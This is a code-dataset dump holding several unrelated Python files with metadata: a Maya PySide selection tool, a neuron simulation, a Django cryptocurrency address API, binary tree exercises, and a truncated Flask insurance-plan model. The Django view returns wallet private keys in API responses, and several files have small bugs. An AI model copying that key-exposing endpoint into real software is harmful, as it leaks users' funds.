0)\r\n self.scroll_layout.setSpacing(5) #layout\r\n self.scroll_area_widget.setLayout(self.scroll_layout)\r\n\r\n self.main_layout.addWidget(self.scroll_area)\r\n #* -------------------------------------------------------------- *#\r\n\r\n #adding plus widget\r\n self.plus_button = PlusSelectionWidget()\r\n self.main_layout.addWidget(self.plus_button)\r\n self.plus_button.clicked.connect(self.on_widget_clicked)\r\n\r\n def mousePressEvent(self, event):\r\n '''\r\n This one either drags window LB, either open a pop menu RB\r\n '''\r\n if event.button() == QtCore.Qt.LeftButton and event.y() <= 400:\r\n self.draggable = True\r\n self.offset = event.pos()\r\n\r\n elif event.button() == QtCore.Qt.RightButton:\r\n self.state = False # we are blocking the button's pressing\r\n\r\n self.create_main_context_menu() # instead we are creating pop-up context menu\r\n self.pop_main_menu.exec_(self.mapToGlobal(event.pos()))\r\n\r\n def mouseReleaseEvent(self, event):\r\n '''\r\n Need to support the window moving\r\n '''\r\n if event.button() == QtCore.Qt.LeftButton:\r\n self.draggable = False\r\n self.offset = None\r\n\r\n def mouseMoveEvent(self, event):\r\n '''\r\n Need to support the window moving\r\n '''\r\n if self.draggable and self.offset is not None:\r\n # Calculate the new window position based on the mouse movement\r\n new_pos = event.globalPos() - self.offset\r\n self.move(new_pos)\r\n\r\n def paintEvent(self, event):\r\n '''\r\n Painting boarders? not sure\r\n '''\r\n super(SelectionToolWindow, self).paintEvent(event)\r\n painter = QtGui.QPainter(self)\r\n painter.begin(self)\r\n painter.fillRect(0, 0, self.width(), self.height(), QtGui.QColor(68, 68, 68, 150))\r\n painter.setCompositionMode(QtGui.QPainter.CompositionMode_Source)\r\n painter.end()\r\n\r\n def on_widget_clicked(self):\r\n '''\r\n What's happening when you click \"+\" widget\r\n '''\r\n self.get_selection()\r\n self.add_selection_widget()\r\n\r\n def get_selection(self):\r\n self.selection = cmds.ls(sl=1, l=1) #duh\r\n\r\n def add_selection_widget(self):\r\n '''\r\n This one creates selection set by using SelectionWidget class and create_selection_list var\r\n '''\r\n self.selection_widget = SelectionWidget(self.selection, self.num)\r\n self.create_selection_list[self.num] = self.selection_widget\r\n self.num =+ 1\r\n\r\n self.scroll_layout.addWidget(self.selection_widget)\r\n\r\n def create_main_context_menu(self):\r\n '''\r\n create a pop-up context menu with a close option\r\n '''\r\n self.pop_main_menu = QtWidgets.QMenu(self)\r\n\r\n self.pop_main_menu_close = QtWidgets.QAction('Close window', self)\r\n self.pop_main_menu.addAction(self.pop_main_menu_close)\r\n self.pop_main_menu_close.triggered.connect(self.close_main_window)\r\n\r\n def close_main_window(self):\r\n '''\r\n To close window from pop up menu in the main window\r\n '''\r\n my_ui.close()\r\n\r\n#---------------------------------THE-END------------------------------------------\r\n\r\ndeleteUI(\"MyCustomWidgetBunny\")\r\nglobal dialog\r\n#also creating var for close_window() and close_main_window()\r\nmy_ui = SelectionToolWindow()\r\nmy_ui.show()\r\n", "repo_name": "Sobigdrasil/MayaScripting_School2023", "sub_path": "Homework_week_07_01_SelectionTool/Homework_week_07_01_SelectionTool.py", "file_name": "Homework_week_07_01_SelectionTool.py", "file_ext": "py", "file_size_in_byte": 16196, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "maya.OpenMayaUI.MQtUtil.mainWindow", "line_number": 8, "usage_type": "call"}, {"api_name": "maya.OpenMayaUI.MQtUtil", "line_number": 8, "usage_type": "attribute"}, {"api_name": "maya.OpenMayaUI", "line_number": 8, "usage_type": "name"}, {"api_name": "shiboken2.wrapInstance", "line_number": 9, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 9, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 9, "usage_type": "name"}, {"api_name": "maya.cmds.window", "line_number": 12, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 12, "usage_type": "name"}, {"api_name": "maya.cmds.deleteUI", "line_number": 13, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 13, "usage_type": "name"}, {"api_name": "maya.cmds.windowPref", "line_number": 14, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 14, "usage_type": "name"}, {"api_name": "maya.cmds.windowPref", "line_number": 15, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 15, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 30, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Signal", "line_number": 32, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 32, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Signal", "line_number": 33, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 33, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 60, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 60, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 65, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 65, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 78, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 78, "usage_type": "name"}, {"api_name": "maya.cmds.ls", "line_number": 84, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 84, "usage_type": "name"}, {"api_name": "maya.cmds.select", "line_number": 95, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 95, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QPalette", "line_number": 98, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 98, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 99, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 99, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 108, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 108, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 115, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 115, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 119, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 119, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 127, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 127, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 130, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 130, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 133, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 133, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QAction", "line_number": 143, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 143, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QMenu", "line_number": 151, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 151, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QAction", "line_number": 153, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 153, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QAction", "line_number": 157, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 157, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QAction", "line_number": 163, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 163, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QAction", "line_number": 167, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 167, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QAction", "line_number": 173, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 173, "usage_type": "name"}, {"api_name": "maya.cmds.ls", "line_number": 181, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 181, "usage_type": "name"}, {"api_name": "maya.cmds.ls", "line_number": 190, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 190, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 222, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 222, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Signal", "line_number": 224, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 224, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QHBoxLayout", "line_number": 240, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 240, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 245, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 245, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 247, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 247, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 255, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 255, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 263, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 263, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 267, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 267, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 271, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 271, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QPalette", "line_number": 280, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 280, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 281, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 281, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 286, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 286, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 290, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 290, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QDialog", "line_number": 294, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 294, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 307, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 307, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QSizePolicy", "line_number": 308, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 308, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 309, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 309, "usage_type": "name"}, {"api_name": "PySide2.QtCore.QPoint", "line_number": 310, "usage_type": "call"}, {"api_name": "PySide2.QtCore", "line_number": 310, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 312, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 312, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 316, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 316, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 333, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 333, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 334, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 334, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QScrollArea", "line_number": 340, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 340, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 345, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 345, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QScrollBar", "line_number": 347, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 347, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QWidget", "line_number": 351, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 351, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QVBoxLayout", "line_number": 354, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 354, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 355, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 355, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 372, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 372, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 376, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 376, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Qt", "line_number": 386, "usage_type": "attribute"}, {"api_name": "PySide2.QtCore", "line_number": 386, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QPainter", "line_number": 404, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 404, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QColor", "line_number": 406, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 406, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QPainter", "line_number": 407, "usage_type": "attribute"}, {"api_name": "PySide2.QtGui", "line_number": 407, "usage_type": "name"}, {"api_name": "maya.cmds.ls", "line_number": 418, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 418, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QMenu", "line_number": 434, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 434, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QAction", "line_number": 436, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 436, "usage_type": "name"}]} {"seq_id": "38524688964", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\ns = 1.0\nms = 0.001 * s\n\nV = 1.0\nmV = 0.001 * V\n\nOhm = 1.0\nMOhm = 1000000 * Ohm\n\nA = 1.0\nnA = 0.000000001\n\ntau_m = 10*ms\nE_l = -70*mV\nV_th = -40*mV\nR_m = 10 * MOhm\nI_e = 3.1*nA\ndelta_t = 0.25*ms\n\nV = -70*mV\n\nvs = []\nts = []\n\nfor i in np.arange(0, 1*s, 0.25*ms):\n V = V + delta_t * (E_l-V+R_m*I_e)/tau_m\n if V >= V_th:\n # spike\n V = E_l\n vs.append(V)\n ts.append(i)\n\n\nprint(vs)\nplt.plot(ts, vs)\nplt.show()\n", "repo_name": "zackdove/neurocw3", "sub_path": "if.py", "file_name": "if.py", "file_ext": "py", "file_size_in_byte": 481, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "numpy.arange", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}]} {"seq_id": "1822420281", "text": "import base64\n\nimport requests\nfrom django.http import JsonResponse, HttpResponse\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.cache import cache_page\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication, TokenAuthentication\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom altcoin.address.models import Address, AddressImpl\nfrom altcoin.address.serializers import AddressSerializer\nimport json\nfrom altcoin.errors import ValidationError, AuthenticationError\nfrom altcoin.settings.base import get_env_var\nfrom rest_framework.views import APIView\nfrom altcoin.utils import Util\n\nfrom altcoin.settings.local import db_uri\nfrom bitcoinlib import keys\nfrom bitcoinlib.wallets import HDWallet\nfrom altcoin.address.serializers import QRSerializer\n# import the logging library\nimport logging\n\n# Get an instance of a logger\nlogger = logging.getLogger(__name__)\n\nclass NewAddressView(APIView):\n\n def get(self,request,account_id, wallet_id):\n try:\n logger.debug('Started ', self.__class__.__name__, ' get method')\n amount = request.GET.get('amount')\n qr = request.GET.get('qr')\n print('Started ', self.__class__.__name__, ' wallet_id=%s, account_id=%s, qr=%s, amount=%s ' % (str(wallet_id), str(account_id), bool(qr), str(amount)))\n if account_id and wallet_id:\n addressimpl = AddressImpl()\n address = addressimpl.getNewAddress(account_id,wallet_id)\n if address :\n response_dict = {'address_id' : address.address_id, 'status' : 'success' }\n if qr :\n text = address.network_name+':'+address.address_id+' amoount:' + str(amount)\n output = Util.generate_qr(text)\n print('received for response generate_qr %s' % (output))\n image = QRSerializer(output).data\n response_dict['file_type'] = image['file_type']\n response_dict['image_base64'] = image['image_base64']\n\n return JsonResponse(response_dict, safe=False)\n else:\n raise ValidationError(get_env_var('exception.validation.address.no_account_or_no_wallet'))\n except AuthenticationError as e:\n raise e\n except Exception as e:\n raise e\n\nclass AddressView(APIView):\n @method_decorator(cache_page(60 * 1))\n def get(self,request):\n\n print('Started ' + self.__class__.__name__ + ' get method')\n try:\n\n wallet_id = request.GET.get('wallet_id')\n just_address = request.GET.get('just_address')\n print('Started ',self.__class__.__name__ ,' wallet_id=%s, just_address=%s ' %(str(wallet_id),\n bool(str(just_address))))\n\n if wallet_id :\n wallet = HDWallet(wallet_id, db_uri=db_uri)\n keys = wallet.keys(include_private=True)\n keys = [x.__dict__ for x in keys]\n address_list = []\n if bool(just_address) == True:\n for key in keys:\n address_list.append(key['address'])\n else:\n for key in keys:\n address_list.append(\n {'address_id': key['address'], 'private_key': key['private'], 'public_key': key['public']})\n return JsonResponse(address_list, safe=False)\n else:\n raise ValidationError(get_env_var('exception.validation.address.no_wallet'))\n except Exception as e:\n raise e\n\n\n\n\n", "repo_name": "snaik7/altcoin", "sub_path": "altcoin/altcoin/address/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 3686, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 26, "usage_type": "call"}, {"api_name": "rest_framework.views.APIView", "line_number": 28, "usage_type": "name"}, {"api_name": "altcoin.address.models.AddressImpl", "line_number": 37, "usage_type": "call"}, {"api_name": "altcoin.utils.Util.generate_qr", "line_number": 43, "usage_type": "call"}, {"api_name": "altcoin.utils.Util", "line_number": 43, "usage_type": "name"}, {"api_name": "altcoin.address.serializers.QRSerializer", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 49, "usage_type": "call"}, {"api_name": "altcoin.errors.ValidationError", "line_number": 51, "usage_type": "call"}, {"api_name": "altcoin.settings.base.get_env_var", "line_number": 51, "usage_type": "call"}, {"api_name": "altcoin.errors.AuthenticationError", "line_number": 52, "usage_type": "name"}, {"api_name": "rest_framework.views.APIView", "line_number": 57, "usage_type": "name"}, {"api_name": "bitcoinlib.wallets.HDWallet", "line_number": 70, "usage_type": "call"}, {"api_name": "altcoin.settings.local.db_uri", "line_number": 70, "usage_type": "name"}, {"api_name": "bitcoinlib.keys", "line_number": 71, "usage_type": "name"}, {"api_name": "bitcoinlib.keys", "line_number": 72, "usage_type": "name"}, {"api_name": "bitcoinlib.keys", "line_number": 75, "usage_type": "name"}, {"api_name": "bitcoinlib.keys", "line_number": 78, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 81, "usage_type": "call"}, {"api_name": "altcoin.errors.ValidationError", "line_number": 83, "usage_type": "call"}, {"api_name": "altcoin.settings.base.get_env_var", "line_number": 83, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 58, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.cache_page", "line_number": 58, "usage_type": "call"}]} {"seq_id": "19805842458", "text": "import sys\nfrom collections import deque\nclass Node:\n def __init__(self, data, **kwargs):\n self.data = data\n self.left_child = kwargs.get('left_child', None)\n self.right_child = kwargs.get('right_child', None)\n\n\ndef search(root, data):\n current = root\n print('current is: ',current.data)\n\n while current.data != data:\n if current:\n print(' searching at current is: ', current.data)\n else:\n print('No data found')\n return\n\n if current.data > data:\n current = current.left_child\n\n if current.data < data:\n current = current.right_child\n return current.data\n\ndef insert(root,data):\n '''\n :param root: pointer to the root of the BST\n :param data: data of the new node\n :return: pointer to the root of new BST\n '''\n new_node = Node(int(data), left_child=None, right_child=None)\n if root is None:\n return new_node\n current = root\n while True:\n parent = current\n if parent.data > data:\n current = current.left_child\n if current is None:\n parent.left_child = new_node\n return root\n else:\n current = current.right_child\n if current is None:\n parent.right_child = new_node\n return root\n\n\ndef delete_node(root, data):\n '''\n :param root: pointer to the head or the BST\n :param data: delete the node with data\n :return: pointer to the head of a new BST\n '''\n if root is None:\n return root\n if root.data == data:\n return None\n if root.data > data:\n root.left_child = delete_node(root.left_child, data)\n#TODO: Print tree\ndef pre_order(root):\n if root is None:\n return\n print(root.data, end=' ')\n pre_order(root.left_child)\n pre_order(root.right_child)\n\ndef post_order(root):\n if root is None:\n return\n post_order(root.left_child)\n post_order(root.right_child)\n print(root.data, end=' ')\n\ndef in_order(root):\n if root is None:\n return\n in_order(root.left_child)\n print(root.data, end=' ')\n in_order(root.right_child)\n\ndef height_of_tree(root):\n if root is None:\n return -1\n left_height = 1 + height_of_tree(root.left_child)\n right_height = 1 + height_of_tree(root.right_child)\n return max(left_height, right_height)\n\ndef top_view(root):\n if hasattr(top_view, 'counter') is False:\n top_view.counter = 0\n if root.left_child and top_view.counter >= 0:\n top_view.counter += 1\n top_view(root.left_child)\n top_view.counter -= 1\n print(root.data, end=' ')\n\n if root.right_child and top_view.counter < 0:\n top_view.counter -= 1\n top_view(root.right_child)\n\ndef topView(root, order = 0):\n if root is None:\n return\n if order <= 0:\n topView(root.left_child, -1)\n print(root.data, end=' ')\n if order >= 0:\n topView(root.right_child, 1)\n\n#TODO: Breadth-first search (BFS) is an algorithm\ndef level_order(root):\n if root is None:\n return\n queue = deque()\n queue.append(root)\n while len(queue) != 0:\n current = queue.popleft()\n print(current.data, end=' ')\n if current.left_child:\n queue.append(current.left_child)\n if current.right_child:\n queue.append(current.right_child)\n\n\ndef main():\n first_root = Node(9)\n # insert(first_root, 11)\n # insert(first_root, 7)\n # insert(first_root, 14)\n # insert(first_root, 12)\n # insert(first_root, 13)\n # insert(first_root, 15)\n insert(first_root, 8)\n insert(first_root, 6)\n insert(first_root, 7)\n insert(first_root, 3)\n insert(first_root, 1)\n print('post order')\n post_order(first_root)\n print()\n print('pre order')\n pre_order(first_root)\n print()\n print('in order')\n in_order(first_root)\n print()\n print('height of tree: ', height_of_tree(first_root))\n print()\n print('top view')\n top_view(first_root)\n print()\n print('topView ')\n topView(first_root)\n print()\n print('level order')\n level_order(first_root)\n\nif __name__ == '__main__':\n main()\n", "repo_name": "mrnameless123/Practice_Algorithm", "sub_path": "study data structure-Binary Tree.py", "file_name": "study data structure-Binary Tree.py", "file_ext": "py", "file_size_in_byte": 4199, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.deque", "line_number": 119, "usage_type": "call"}]} {"seq_id": "46827333467", "text": "import json\nfrom flask import jsonify\nfrom datetime import date\n\nclass Customer:\n def __init__(self, cpf, nome, email, dataDeNascimento, sexo, rendaMensal):\n self.id = 0\n self.cpf = cpf\n self.nome = nome\n self.email = email\n self.dataDeNascimento = dataDeNascimento\n self.sexo = sexo\n self.rendaMensal = rendaMensal\n\n def saveCustomer(customer):\n CCustomer = Customer(customer[\"cpf\"], customer[\"nome\"], customer[\"email\"], customer[\"dataDeNascimento\"], customer[\"sexo\"], customer[\"rendaMensal\"])\n\n with open(\"/db_jason/customers.json\", \"r+\") as file:\n data = json.load(file)\n\n\n for p in data[\"customers\"]:\n if p[\"cpf\"] == CCustomer.cpf:\n return \"CPF já cadastrado!\"\n \n CCustomer.id = len(data[\"customers\"]) + 1\n CCustomer = CCustomer.__dict__\n data[\"customers\"].append(CCustomer)\n\n file.seek(0)\n json.dump(data, file, indent=4)\n\n for person in data[\"customers\"]:\n if person[\"id\"] == CCustomer[\"id\"]:\n return jsonify(\"id: \" + str(person[\"id\"]))\n\n return \"Storage Problem\"\n \nclass Product:\n def __init__(self, nome, susep, expiracaoDeVenda, valorMinimoAporteInicial, valorMinimoAporteExtra, idadeDeEntrada, idadeDeSaida, carenciaInicialDeResgate, carenciaEntreResgates):\n self.id = 0\n self.nome = nome\n self.susep = susep\n self.expiracaoDeVenda = expiracaoDeVenda\n self.valorMinimoAporteInicial = valorMinimoAporteInicial\n self.valorMinimoAporteExtra = valorMinimoAporteExtra\n self.idadeDeEntrada = idadeDeEntrada\n self.idadeDeSaida = idadeDeSaida\n self.carenciaInicialDeResgate = carenciaInicialDeResgate\n self.carenciaEntreResgates = carenciaEntreResgates\n \n def saveProduct(product):\n PProduct = Product(product[\"nome\"], product[\"susep\"], product[\"expiracaoDeVenda\"], product[\"valorMinimoAporteInicial\"], product[\"valorMinimoAporteExtra\"], product[\"idadeDeEntrada\"], product[\"idadeDeSaida\"], product[\"carenciaInicialDeResgate\"], product[\"carenciaEntreResgates\"])\n\n with open(\"db_json/products.json\", \"r+\") as file:\n data = json.load(file)\n\n PProduct.id = len(data[\"products\"]) + 1\n PProduct = PProduct.__dict__\n data[\"products\"].append(PProduct)\n\n file.seek(0)\n json.dump(data, file, indent=4)\n\n for p in data[\"products\"]:\n if p[\"id\"] == PProduct[\"id\"]:\n return jsonify(\"id: \" + str(p[\"id\"]))\n\n return \"Storage Problem\"\n\nclass Plan:\n def __init__(self, customerId, productId, aporte, hiringDate):\n self.id = 0\n self.customerId = customerId\n self.productId = productId\n self.aporte = aporte\n self.hiringDate = hiringDate\n\n def savePlan(plan):\n PPlan = Plan(plan[\"customerId\"], plan[\"productId\"], plan[\"aporte\"], plan[\"hiringDate\"])\n with open(\"db_json/plans.json\", \"r+\") as file:\n data = json.load(file)\n\n PPlan.id = len(data[\"plans\"]) + 1\n\n #rules\n\n produto = getItemById(PPlan.productId, \"products\")\n if produto == False:\n return \"Product not found\"\n\n exp = produto[\"expiracaoDeVenda\"]\n delta = date(int(exp[0:4]), int(exp[5:7]), int(exp[8:10])) - date.today()\n\n if delta.days < 0:\n return \"Product expired\"\n\n customer = getItemById(PPlan.customerId, \"customers\")\n if customer == False:\n return \"Customer not found\"\n\n exp = customer[\"dataDeNascimento\"]\n delta = (date.today() - date(int(exp[0:4]), int(exp[5:7]), int(exp[8:10])))/365\n\n if delta.days < produto[\"idadeDeEntrada\"] or delta.days > produto[\"idadeDeSaida\"]:\n return \"Customer not allowed\"\n\n if plan[\"aporte\"] < produto[\"valorMinimoAporteInicial\"]:\n return \"Aporte not allowed\"\n\n #end rules\n PPlan = PPlan.__dict__\n data[\"plans\"].append(PPlan)\n\n file.seek(0)\n json.dump(data, file, indent=4)\n\n for p in data[\"plans\"]:\n if p[\"id\"] == PPlan[\"id\"]:\n return jsonify(\"id: \" + str(p[\"id\"]))\n\n return \"Storage Problem\"\n\nclass AporteExtra:\n def __init__(self, customerId, productId, aporte):\n self.id = 0\n self.customerId = customerId\n self.productId = productId\n self.aporte = aporte\n\n def saveAporteExtra(aporte):\n AAporte = AporteExtra(aporte[\"customerId\"], aporte[\"productId\"], aporte[\"aporte\"])\n with open(\"db_json/aporteextra.json\", \"r+\") as file:\n data = json.load(file)\n \n AAporte.id = len(data[\"aporteextra\"]) + 1\n\n #rules\n produto = Product.getProduct(AAporte.productId)\n if AAporte.aporte < produto[\"valorMinimoAporteExtra\"]:\n return \"Aporte not allowed\"\n #end rules\n \n AAporte = AAporte.__dict__\n data[\"aporteextra\"].append(AAporte)\n\n file.seek(0)\n json.dump(data, file, indent=4)\n\n for p in data[\"aporteextra\"]:\n if p[\"id\"] == AAporte[\"id\"]:\n return jsonify(\"id: \" + str(p[\"id\"]))\n\n return \"Storage Problem\"\n\nclass Resgate:\n def __init__(self, planId, resgateValue):\n self.id = 0\n self.planId = planId\n self.resgateValue = resgateValue\n self.resgateDate = str(date.today())\n\n def saveResgate(resgate):\n RResgate = Resgate(resgate[\"planId\"], resgate[\"resgateValue\"])\n aporte = 0 \n data = {}\n with open(\"db_json/resgates.json\", \"r+\") as file:\n data = json.load(file)\n\n RResgate.id = len(data[\"resgates\"]) + 1\n #rules\n plano = getItemById(RResgate.planId, \"plans\")\n if plano == False:\n return \"Plan not found\"\n \n if plano[\"aporte\"] < RResgate.resgateValue:\n return \"Not enough founds\"\n aporte = plano[\"aporte\"] - RResgate.resgateValue\n\n exp = plano[\"hiringDate\"]\n dt = date.today() - date(int(exp[0:4]), int(exp[5:7]), int(exp[8:10]))\n if int(dt.days) < 60:\n return \"You need at least 60 days to resgate\"\n\n for p in data[\"resgates\"]:\n dt = date.today() - date(int(p[\"resgateDate\"][0:4]), int(p[\"resgateDate\"][5:7]), int(p[\"resgateDate\"][8:10]))\n if int(dt.days) < 30:\n return \"You need at least 30 days to resgate again\"\n\n #end rules\n RResgate = RResgate.__dict__\n data[\"resgates\"].append(RResgate)\n\n file.seek(0)\n json.dump(data, file, indent=4)\n\n with open(\"db_json/plans.json\", \"r+\") as file2:\n data1 = json.load(file2)\n for p in data1[\"plans\"]:\n if p[\"id\"] == RResgate[\"planId\"]:\n p[\"aporte\"] = aporte\n file2.seek(0)\n json.dump(data1, file2, indent=4)\n\n for p in data[\"resgates\"]:\n if p[\"id\"] == len(data[\"resgates\"]):\n return jsonify(\"id: \" + str(p[\"id\"]))\n\n return \"Storage Problem\"\n\n# id = id do objeto a ser buscado\n# item = nome do arquivo\ndef 